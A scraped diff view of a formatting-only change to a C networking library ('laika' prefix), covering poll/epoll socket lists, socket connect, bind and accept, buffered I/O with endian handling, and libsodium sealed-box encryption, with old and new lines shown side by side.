peer->pktSize = laikaS_endInPacket(peer); peer->pktSize = laikaS_endInPacket(peer);
/* dispatch to packet handler */ /* dispatch to packet handler */
peer->packetTbl[peer->pktID].handler(peer, peer->pktSize, peer->uData); peer->packetTbl[peer->pktID].handler(peer, peer->pktSize, peer->uData);
/* reset */ /* reset */
peer->sock.inCount = 0; peer->sock.inCount = 0;
peer->pktID = LAIKAPKT_MAXNONE; peer->pktID = LAIKAPKT_MAXNONE;
} }
break; break;
} }
return laikaS_isAlive((&peer->sock)); return laikaS_isAlive((&peer->sock));
} }
bool laikaS_handlePeerOut(struct sLaika_socket *sock) { bool laikaS_handlePeerOut(struct sLaika_socket *sock)
struct sLaika_peer *peer = (struct sLaika_peer*)sock; {
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
int sent; int sent;
if (peer->sock.outCount == 0) /* sanity check */ if (peer->sock.outCount == 0) /* sanity check */
return true; return true;
switch (laikaS_rawSend(&peer->sock, peer->sock.outCount, &sent)) { switch (laikaS_rawSend(&peer->sock, peer->sock.outCount, &sent)) {
case RAWSOCK_OK: /* we're ok! */ case RAWSOCK_OK: /* we're ok! */
/* if POLLOUT was set, unset it */ /* if POLLOUT was set, unset it */
laikaP_rmvPollOut(peer->pList, &peer->sock); laikaP_rmvPollOut(peer->pList, &peer->sock);
return true; return true;
case RAWSOCK_POLL: /* we've been asked to set the POLLOUT flag */ case RAWSOCK_POLL: /* we've been asked to set the POLLOUT flag */
/* if POLLOUT wasn't set, set it so we'll be notified whenever the kernel has room :) */ /* if POLLOUT wasn't set, set it so we'll be notified whenever the kernel has room :) */
laikaP_addPollOut(peer->pList, &peer->sock); laikaP_addPollOut(peer->pList, &peer->sock);
return true; return true;
default: /* panic! */ default: /* panic! */
case RAWSOCK_CLOSED: case RAWSOCK_CLOSED:
case RAWSOCK_ERROR: case RAWSOCK_ERROR:
return false; return false;
} }
} }

View File

@ -1,38 +1,44 @@
#include "lpolllist.h"
#include "lerror.h" #include "lerror.h"
#include "lmem.h" #include "lmem.h"
#include "lpolllist.h"
/* ===================================[[ Helper Functions ]]==================================== */ /* ===================================[[ Helper Functions ]]==================================== */
typedef struct sLaika_hashMapElem { typedef struct sLaika_hashMapElem
{
SOCKET fd; SOCKET fd;
struct sLaika_socket *sock; struct sLaika_socket *sock;
} tLaika_hashMapElem; } tLaika_hashMapElem;
int elem_compare(const void *a, const void *b, void *udata) { int elem_compare(const void *a, const void *b, void *udata)
{
const tLaika_hashMapElem *ua = a; const tLaika_hashMapElem *ua = a;
const tLaika_hashMapElem *ub = b; const tLaika_hashMapElem *ub = b;
return ua->fd != ub->fd; return ua->fd != ub->fd;
} }
uint64_t elem_hash(const void *item, uint64_t seed0, uint64_t seed1) { uint64_t elem_hash(const void *item, uint64_t seed0, uint64_t seed1)
{
const tLaika_hashMapElem *u = item; const tLaika_hashMapElem *u = item;
return (uint64_t)(u->fd); return (uint64_t)(u->fd);
} }
/* =====================================[[ PollList API ]]====================================== */ /* =====================================[[ PollList API ]]====================================== */
void laikaP_initPList(struct sLaika_pollList *pList) { void laikaP_initPList(struct sLaika_pollList *pList)
{
laikaS_init(); laikaS_init();
/* setup hashmap */ /* setup hashmap */
pList->sockets = hashmap_new(sizeof(tLaika_hashMapElem), POLLSTARTCAP, 0, 0, elem_hash, elem_compare, NULL, NULL); pList->sockets = hashmap_new(sizeof(tLaika_hashMapElem), POLLSTARTCAP, 0, 0, elem_hash,
elem_compare, NULL, NULL);
pList->revents = NULL; /* laikaP_pollList() will allocate the buffer */ pList->revents = NULL; /* laikaP_pollList() will allocate the buffer */
pList->reventCap = POLLSTARTCAP/GROW_FACTOR; pList->reventCap = POLLSTARTCAP / GROW_FACTOR;
pList->reventCount = 0; pList->reventCount = 0;
pList->outQueue = NULL; pList->outQueue = NULL;
pList->outCap = POLLSTARTCAP/GROW_FACTOR; pList->outCap = POLLSTARTCAP / GROW_FACTOR;
pList->outCount = 0; pList->outCount = 0;
#ifdef LAIKA_USE_EPOLL #ifdef LAIKA_USE_EPOLL
@ -43,12 +49,15 @@ void laikaP_initPList(struct sLaika_pollList *pList) {
#else #else
pList->fds = NULL; /* laikaP_addSock will allocate the buffer */ pList->fds = NULL; /* laikaP_addSock will allocate the buffer */
pList->fdCapacity = POLLSTARTCAP/GROW_FACTOR; /* div by GROW_FACTOR since laikaM_growarray multiplies by GROW_FACTOR */ pList->fdCapacity =
POLLSTARTCAP /
GROW_FACTOR; /* div by GROW_FACTOR since laikaM_growarray multiplies by GROW_FACTOR */
pList->fdCount = 0; pList->fdCount = 0;
#endif #endif
} }
void laikaP_cleanPList(struct sLaika_pollList *pList) { void laikaP_cleanPList(struct sLaika_pollList *pList)
{
laikaM_free(pList->revents); laikaM_free(pList->revents);
laikaM_free(pList->outQueue); laikaM_free(pList->outQueue);
hashmap_free(pList->sockets); hashmap_free(pList->sockets);
@ -62,13 +71,14 @@ void laikaP_cleanPList(struct sLaika_pollList *pList) {
laikaS_cleanUp(); laikaS_cleanUp();
} }
void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) { void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock)
{
/* add socket to hashmap */ /* add socket to hashmap */
hashmap_set(pList->sockets, &(tLaika_hashMapElem){.fd = sock->sock, .sock = sock}); hashmap_set(pList->sockets, &(tLaika_hashMapElem){.fd = sock->sock, .sock = sock});
#ifdef LAIKA_USE_EPOLL #ifdef LAIKA_USE_EPOLL
pList->ev.events = EPOLLIN; pList->ev.events = EPOLLIN;
pList->ev.data.ptr = (void*)sock; pList->ev.data.ptr = (void *)sock;
if (epoll_ctl(pList->epollfd, EPOLL_CTL_ADD, sock->sock, &pList->ev) == -1) if (epoll_ctl(pList->epollfd, EPOLL_CTL_ADD, sock->sock, &pList->ev) == -1)
LAIKA_ERROR("epoll_ctl [ADD] failed\n"); LAIKA_ERROR("epoll_ctl [ADD] failed\n");
@ -80,7 +90,8 @@ void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
#endif #endif
} }
void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) { void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock)
{
int i; int i;
/* remove socket from hashmap */ /* remove socket from hashmap */
@ -88,13 +99,14 @@ void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
/* make sure peer isn't in outQueue */ /* make sure peer isn't in outQueue */
for (i = 0; i < pList->outCount; i++) { for (i = 0; i < pList->outCount; i++) {
if ((void*)pList->outQueue[i] == (void*)sock) { if ((void *)pList->outQueue[i] == (void *)sock) {
laikaM_rmvarray(pList->outQueue, pList->outCount, i, 1); laikaM_rmvarray(pList->outQueue, pList->outCount, i, 1);
} }
} }
#ifdef LAIKA_USE_EPOLL #ifdef LAIKA_USE_EPOLL
/* epoll_event* isn't needed with EPOLL_CTL_DEL, however we still need to pass a NON-NULL pointer. [see: https://man7.org/linux/man-pages/man2/epoll_ctl.2.html#BUGS] */ /* epoll_event* isn't needed with EPOLL_CTL_DEL, however we still need to pass a NON-NULL
* pointer. [see: https://man7.org/linux/man-pages/man2/epoll_ctl.2.html#BUGS] */
if (epoll_ctl(pList->epollfd, EPOLL_CTL_DEL, sock->sock, &pList->ev) == -1) { if (epoll_ctl(pList->epollfd, EPOLL_CTL_DEL, sock->sock, &pList->ev) == -1) {
/* non-fatal error, socket probably just didn't exist, so ignore it. */ /* non-fatal error, socket probably just didn't exist, so ignore it. */
LAIKA_WARN("epoll_ctl [DEL] failed\n"); LAIKA_WARN("epoll_ctl [DEL] failed\n");
@ -112,13 +124,14 @@ void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
#endif #endif
} }
void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock) { void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock)
{
if (sock->setPollOut) if (sock->setPollOut)
return; return;
#ifdef LAIKA_USE_EPOLL #ifdef LAIKA_USE_EPOLL
pList->ev.events = EPOLLIN | EPOLLOUT; pList->ev.events = EPOLLIN | EPOLLOUT;
pList->ev.data.ptr = (void*)sock; pList->ev.data.ptr = (void *)sock;
if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) { if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) {
/* non-fatal error, socket probably just didn't exist, so ignore it. */ /* non-fatal error, socket probably just didn't exist, so ignore it. */
LAIKA_WARN("epoll_ctl [MOD] failed\n"); LAIKA_WARN("epoll_ctl [MOD] failed\n");
@ -138,13 +151,14 @@ void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock
sock->setPollOut = true; sock->setPollOut = true;
} }
void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock) { void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock)
{
if (!sock->setPollOut) if (!sock->setPollOut)
return; return;
#ifdef LAIKA_USE_EPOLL #ifdef LAIKA_USE_EPOLL
pList->ev.events = EPOLLIN; pList->ev.events = EPOLLIN;
pList->ev.data.ptr = (void*)sock; pList->ev.data.ptr = (void *)sock;
if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) { if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) {
/* non-fatal error, socket probably just didn't exist, so ignore it. */ /* non-fatal error, socket probably just didn't exist, so ignore it. */
LAIKA_WARN("epoll_ctl [MOD] failed\n"); LAIKA_WARN("epoll_ctl [MOD] failed\n");
@ -164,7 +178,8 @@ void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock
sock->setPollOut = false; sock->setPollOut = false;
} }
void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_socket *sock) { void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_socket *sock)
{
int i; int i;
/* first, check that we don't have this peer in the queue already */ /* first, check that we don't have this peer in the queue already */
@ -173,15 +188,17 @@ void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_socket *so
return; /* found it :) */ return; /* found it :) */
} }
laikaM_growarray(struct sLaika_socket*, pList->outQueue, 1, pList->outCount, pList->outCap); laikaM_growarray(struct sLaika_socket *, pList->outQueue, 1, pList->outCount, pList->outCap);
pList->outQueue[pList->outCount++] = sock; pList->outQueue[pList->outCount++] = sock;
} }
void laikaP_resetOutQueue(struct sLaika_pollList *pList) { void laikaP_resetOutQueue(struct sLaika_pollList *pList)
{
pList->outCount = 0; /* ez lol */ pList->outCount = 0; /* ez lol */
} }
void laikaP_flushOutQueue(struct sLaika_pollList *pList) { void laikaP_flushOutQueue(struct sLaika_pollList *pList)
{
struct sLaika_socket *sock; struct sLaika_socket *sock;
int i; int i;
@ -195,14 +212,16 @@ void laikaP_flushOutQueue(struct sLaika_pollList *pList) {
laikaP_resetOutQueue(pList); laikaP_resetOutQueue(pList);
} }
struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, int *_nevents) { struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, int *_nevents)
{
int nEvents, i; int nEvents, i;
pList->reventCount = 0; /* reset revent array */ pList->reventCount = 0; /* reset revent array */
#ifdef LAIKA_USE_EPOLL #ifdef LAIKA_USE_EPOLL
/* fastpath: we store the sLaika_socket* pointer directly in the epoll_data_t, saving us a lookup into our socket hashmap /* fastpath: we store the sLaika_socket* pointer directly in the epoll_data_t, saving us a
not to mention the various improvements epoll() has over poll() :D lookup into our socket hashmap not to mention the various improvements epoll() has over
*/ poll() :D
*/
nEvents = epoll_wait(pList->epollfd, pList->ep_events, MAX_EPOLL_EVENTS, timeout); nEvents = epoll_wait(pList->epollfd, pList->ep_events, MAX_EPOLL_EVENTS, timeout);
if (SOCKETERROR(nEvents)) if (SOCKETERROR(nEvents))
@ -210,15 +229,16 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
for (i = 0; i < nEvents; i++) { for (i = 0; i < nEvents; i++) {
/* add event to revent array */ /* add event to revent array */
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCap); laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount,
pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){ pList->reventCap);
.sock = pList->ep_events[i].data.ptr, pList->revents[pList->reventCount++] =
.pollIn = pList->ep_events[i].events & EPOLLIN, (struct sLaika_pollEvent){.sock = pList->ep_events[i].data.ptr,
.pollOut = pList->ep_events[i].events & EPOLLOUT .pollIn = pList->ep_events[i].events & EPOLLIN,
}; .pollOut = pList->ep_events[i].events & EPOLLOUT};
} }
#else #else
nEvents = poll(pList->fds, pList->fdCount, timeout); /* poll returns -1 for error, or the number of events */ nEvents = poll(pList->fds, pList->fdCount,
timeout); /* poll returns -1 for error, or the number of events */
if (SOCKETERROR(nEvents)) if (SOCKETERROR(nEvents))
LAIKA_ERROR("poll() failed!\n"); LAIKA_ERROR("poll() failed!\n");
@ -228,15 +248,16 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
PollFD pfd = pList->fds[i]; PollFD pfd = pList->fds[i];
if (pList->fds[i].revents != 0) { if (pList->fds[i].revents != 0) {
/* grab socket from hashmap */ /* grab socket from hashmap */
tLaika_hashMapElem *elem = (tLaika_hashMapElem*)hashmap_get(pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd}); tLaika_hashMapElem *elem = (tLaika_hashMapElem *)hashmap_get(
pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd});
/* insert event into revents array */ /* insert event into revents array */
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCap); laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount,
pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){ pList->reventCap);
.sock = elem->sock, pList->revents[pList->reventCount++] =
.pollIn = pfd.revents & POLLIN, (struct sLaika_pollEvent){.sock = elem->sock,
.pollOut = pfd.revents & POLLOUT .pollIn = pfd.revents & POLLIN,
}; .pollOut = pfd.revents & POLLOUT};
nEvents--; nEvents--;
} }
@ -249,7 +270,8 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
return pList->revents; return pList->revents;
} }
bool laikaP_handleEvent(struct sLaika_pollEvent *evnt) { bool laikaP_handleEvent(struct sLaika_pollEvent *evnt)
{
bool result = true; bool result = true;
/* sanity check */ /* sanity check */

View File

@ -1,14 +1,17 @@
#include "lsocket.h"
#include "lerror.h" #include "lerror.h"
#include "lmem.h" #include "lmem.h"
#include "lpacket.h"
#include "lpolllist.h" #include "lpolllist.h"
#include "lsodium.h" #include "lsodium.h"
#include "lsocket.h"
#include "lpacket.h"
static int _LNSetup = 0; static int _LNSetup = 0;
bool laikaS_isBigEndian(void) { bool laikaS_isBigEndian(void)
union { {
union
{
uint32_t i; uint32_t i;
uint8_t c[4]; uint8_t c[4];
} _indxint = {0xDEADB33F}; } _indxint = {0xDEADB33F};
@ -16,7 +19,8 @@ bool laikaS_isBigEndian(void) {
return _indxint.c[0] == 0xDE; return _indxint.c[0] == 0xDE;
} }
void laikaS_init(void) { void laikaS_init(void)
{
if (_LNSetup++ > 0) if (_LNSetup++ > 0)
return; /* WSA is already setup! */ return; /* WSA is already setup! */
@ -28,7 +32,8 @@ void laikaS_init(void) {
#endif #endif
} }
void laikaS_cleanUp(void) { void laikaS_cleanUp(void)
{
if (--_LNSetup > 0) if (--_LNSetup > 0)
return; /* WSA still needs to be up, a socket is still running */ return; /* WSA still needs to be up, a socket is still running */
@ -37,7 +42,9 @@ void laikaS_cleanUp(void) {
#endif #endif
} }
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut, pollFailEvent onPollFail, void *uData) { void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut,
pollFailEvent onPollFail, void *uData)
{
sock->sock = INVALID_SOCKET; sock->sock = INVALID_SOCKET;
sock->onPollFail = onPollFail; sock->onPollFail = onPollFail;
sock->onPollIn = onPollIn; sock->onPollIn = onPollIn;
@ -55,7 +62,8 @@ void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent
laikaS_init(); laikaS_init();
} }
void laikaS_cleanSocket(struct sLaika_socket *sock) { void laikaS_cleanSocket(struct sLaika_socket *sock)
{
/* free in & out arrays */ /* free in & out arrays */
laikaM_free(sock->inBuf); laikaM_free(sock->inBuf);
laikaM_free(sock->outBuf); laikaM_free(sock->outBuf);
@ -65,7 +73,8 @@ void laikaS_cleanSocket(struct sLaika_socket *sock) {
laikaS_cleanUp(); laikaS_cleanUp();
} }
void laikaS_kill(struct sLaika_socket *sock) { void laikaS_kill(struct sLaika_socket *sock)
{
if (!laikaS_isAlive(sock)) /* sanity check */ if (!laikaS_isAlive(sock)) /* sanity check */
return; return;
@ -80,7 +89,8 @@ void laikaS_kill(struct sLaika_socket *sock) {
sock->sock = INVALID_SOCKET; sock->sock = INVALID_SOCKET;
} }
void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) { void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port)
{
struct addrinfo res, *result, *curr; struct addrinfo res, *result, *curr;
if (!SOCKETINVALID(sock->sock)) if (!SOCKETINVALID(sock->sock))
@ -95,14 +105,15 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
if (getaddrinfo(ip, port, &res, &result) != 0) if (getaddrinfo(ip, port, &res, &result) != 0)
LAIKA_ERROR("getaddrinfo() failed!\n"); LAIKA_ERROR("getaddrinfo() failed!\n");
/* getaddrinfo returns a list of possible addresses, step through them and try them until we find a valid address */ /* getaddrinfo returns a list of possible addresses, step through them and try them until we
* find a valid address */
for (curr = result; curr != NULL; curr = curr->ai_next) { for (curr = result; curr != NULL; curr = curr->ai_next) {
sock->sock = socket(curr->ai_family, curr->ai_socktype, curr->ai_protocol); sock->sock = socket(curr->ai_family, curr->ai_socktype, curr->ai_protocol);
/* if it failed, try the next sock */ /* if it failed, try the next sock */
if (SOCKETINVALID(sock->sock)) if (SOCKETINVALID(sock->sock))
continue; continue;
/* if it's not an invalid socket, break and exit the loop, we found a working addr! */ /* if it's not an invalid socket, break and exit the loop, we found a working addr! */
if (!SOCKETINVALID(connect(sock->sock, curr->ai_addr, curr->ai_addrlen))) if (!SOCKETINVALID(connect(sock->sock, curr->ai_addr, curr->ai_addrlen)))
break; break;
@ -116,7 +127,8 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
LAIKA_ERROR("couldn't connect a valid address handle to socket!\n"); LAIKA_ERROR("couldn't connect a valid address handle to socket!\n");
} }
void laikaS_bind(struct sLaika_socket *sock, uint16_t port) { void laikaS_bind(struct sLaika_socket *sock, uint16_t port)
{
socklen_t addressSize; socklen_t addressSize;
struct sockaddr_in6 address; struct sockaddr_in6 address;
int opt = 1; int opt = 1;
@ -129,9 +141,9 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
if (SOCKETINVALID(sock->sock)) if (SOCKETINVALID(sock->sock))
LAIKA_ERROR("socket() failed!\n"); LAIKA_ERROR("socket() failed!\n");
/* allow reuse of local address */ /* allow reuse of local address */
#ifdef _WIN32 #ifdef _WIN32
if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, (const char*)&opt, sizeof(int)) != 0) if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, (const char *)&opt, sizeof(int)) != 0)
#else #else
if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(int)) != 0) if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(int)) != 0)
#endif #endif
@ -144,18 +156,19 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
addressSize = sizeof(address); addressSize = sizeof(address);
/* bind to the port */ /* bind to the port */
if (SOCKETERROR(bind(sock->sock, (struct sockaddr*)&address, addressSize))) if (SOCKETERROR(bind(sock->sock, (struct sockaddr *)&address, addressSize)))
LAIKA_ERROR("bind() failed!\n"); LAIKA_ERROR("bind() failed!\n");
if (SOCKETERROR(listen(sock->sock, SOMAXCONN))) if (SOCKETERROR(listen(sock->sock, SOMAXCONN)))
LAIKA_ERROR("listen() failed!\n"); LAIKA_ERROR("listen() failed!\n");
} }
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ip) { void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ip)
{
struct sockaddr_in6 address; struct sockaddr_in6 address;
socklen_t addressSize = sizeof(address); socklen_t addressSize = sizeof(address);
sock->sock = accept(from->sock, (struct sockaddr*)&address, &addressSize); sock->sock = accept(from->sock, (struct sockaddr *)&address, &addressSize);
if (SOCKETINVALID(sock->sock)) if (SOCKETINVALID(sock->sock))
LAIKA_ERROR("accept() failed!\n"); LAIKA_ERROR("accept() failed!\n");
@ -166,7 +179,8 @@ void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, c
} }
} }
bool laikaS_setNonBlock(struct sLaika_socket *sock) { bool laikaS_setNonBlock(struct sLaika_socket *sock)
{
#ifdef _WIN32 #ifdef _WIN32
unsigned long mode = 1; unsigned long mode = 1;
if (ioctlsocket(sock->sock, FIONBIO, &mode) != 0) { if (ioctlsocket(sock->sock, FIONBIO, &mode) != 0) {
@ -181,11 +195,13 @@ bool laikaS_setNonBlock(struct sLaika_socket *sock) {
return true; return true;
} }
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz) { void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz)
{
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz); laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
} }
void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz) { void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz)
{
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap); laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);
/* set NULL bytes */ /* set NULL bytes */
@ -193,12 +209,14 @@ void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz) {
sock->outCount += sz; sock->outCount += sz;
} }
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) { void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz)
{
memcpy(buf, sock->inBuf, sz); memcpy(buf, sock->inBuf, sz);
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz); laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
} }
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) { void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz)
{
/* make sure we have enough space to copy the buffer */ /* make sure we have enough space to copy the buffer */
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap); laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);
@ -207,7 +225,8 @@ void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) {
sock->outCount += sz; sock->outCount += sz;
} }
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub) { void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub)
{
/* make sure we have enough space to encrypt the buffer */ /* make sure we have enough space to encrypt the buffer */
laikaM_growarray(uint8_t, sock->outBuf, LAIKAENC_SIZE(sz), sock->outCount, sock->outCap); laikaM_growarray(uint8_t, sock->outBuf, LAIKAENC_SIZE(sz), sock->outCount, sock->outCap);
@ -218,7 +237,9 @@ void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, ui
sock->outCount += LAIKAENC_SIZE(sz); sock->outCount += LAIKAENC_SIZE(sz);
} }
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv) { void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub,
uint8_t *priv)
{
/* decrypt into buf */ /* decrypt into buf */
if (crypto_box_seal_open(buf, sock->inBuf, LAIKAENC_SIZE(sz), pub, priv) != 0) if (crypto_box_seal_open(buf, sock->inBuf, LAIKAENC_SIZE(sz), pub, priv) != 0)
LAIKA_ERROR("Failed to decrypt!\n"); LAIKA_ERROR("Failed to decrypt!\n");
@ -226,12 +247,14 @@ void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uin
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, LAIKAENC_SIZE(sz)); laikaM_rmvarray(sock->inBuf, sock->inCount, 0, LAIKAENC_SIZE(sz));
} }
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data) { void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data)
{
laikaM_growarray(uint8_t, sock->outBuf, 1, sock->outCount, sock->outCap); laikaM_growarray(uint8_t, sock->outBuf, 1, sock->outCount, sock->outCap);
sock->outBuf[sock->outCount++] = data; sock->outBuf[sock->outCount++] = data;
} }
uint8_t laikaS_readByte(struct sLaika_socket *sock) { uint8_t laikaS_readByte(struct sLaika_socket *sock)
{
uint8_t tmp = *sock->inBuf; uint8_t tmp = *sock->inBuf;
/* pop 1 byte */ /* pop 1 byte */
@ -239,17 +262,18 @@ uint8_t laikaS_readByte(struct sLaika_socket *sock) {
return tmp; return tmp;
} }
void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz) { void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz)
{
if (sock->flipEndian) { if (sock->flipEndian) {
VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */ VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */
int k; int k;
laikaS_read(sock, (void*)tmp, sz); laikaS_read(sock, (void *)tmp, sz);
/* copy tmp buffer to user buffer, flipping endianness */ /* copy tmp buffer to user buffer, flipping endianness */
for (k = 0; k < sz; k++) for (k = 0; k < sz; k++)
*((uint8_t*)buf + k) = tmp[sz - k - 1]; *((uint8_t *)buf + k) = tmp[sz - k - 1];
ENDVLA(tmp); ENDVLA(tmp);
} else { } else {
/* just a wrapper for laikaS_read */ /* just a wrapper for laikaS_read */
@ -257,16 +281,17 @@ void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz) {
} }
} }
void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz) { void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz)
{
if (sock->flipEndian) { if (sock->flipEndian) {
VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */ VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */
int k; int k;
/* copy user buffer to tmp buffer, flipping endianness */ /* copy user buffer to tmp buffer, flipping endianness */
for (k = 0; k < sz; k++) for (k = 0; k < sz; k++)
tmp[k] = *((uint8_t*)buf + (sz - k - 1)); tmp[k] = *((uint8_t *)buf + (sz - k - 1));
laikaS_write(sock, (void*)tmp, sz); laikaS_write(sock, (void *)tmp, sz);
ENDVLA(tmp); ENDVLA(tmp);
} else { } else {
/* just a wrapper for laikaS_write */ /* just a wrapper for laikaS_write */
@ -274,7 +299,8 @@ void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz) {
} }
} }
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed) { RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed)
{
RAWSOCKCODE errCode = RAWSOCK_OK; RAWSOCKCODE errCode = RAWSOCK_OK;
int i, rcvd, start = sock->inCount; int i, rcvd, start = sock->inCount;
@ -284,14 +310,16 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed
/* make sure we have enough space to recv */ /* make sure we have enough space to recv */
laikaM_growarray(uint8_t, sock->inBuf, sz, sock->inCount, sock->inCap); laikaM_growarray(uint8_t, sock->inBuf, sz, sock->inCount, sock->inCap);
rcvd = recv(sock->sock, (buffer_t*)&sock->inBuf[sock->inCount], sz, LN_MSG_NOSIGNAL); rcvd = recv(sock->sock, (buffer_t *)&sock->inBuf[sock->inCount], sz, LN_MSG_NOSIGNAL);
if (rcvd == 0) { if (rcvd == 0) {
errCode = RAWSOCK_CLOSED; errCode = RAWSOCK_CLOSED;
} else if (SOCKETERROR(rcvd) && LN_ERRNO != LN_EWOULD } else if (SOCKETERROR(rcvd) &&
LN_ERRNO != LN_EWOULD
#ifndef _WIN32 #ifndef _WIN32
/* if it's a posix system, also make sure its not a EAGAIN result (which is a recoverable error, there's just nothing to read lol) */ /* if it's a posix system, also make sure its not a EAGAIN result (which is a
&& LN_ERRNO != EAGAIN recoverable error, there's just nothing to read lol) */
&& LN_ERRNO != EAGAIN
#endif #endif
) { ) {
/* if the socket closed or an error occurred, return the error result */ /* if the socket closed or an error occurred, return the error result */
@ -318,13 +346,15 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed
return errCode; return errCode;
} }
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed) { RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed)
{
RAWSOCKCODE errCode = RAWSOCK_OK; RAWSOCKCODE errCode = RAWSOCK_OK;
int sent, i, sentBytes = 0; int sent, i, sentBytes = 0;
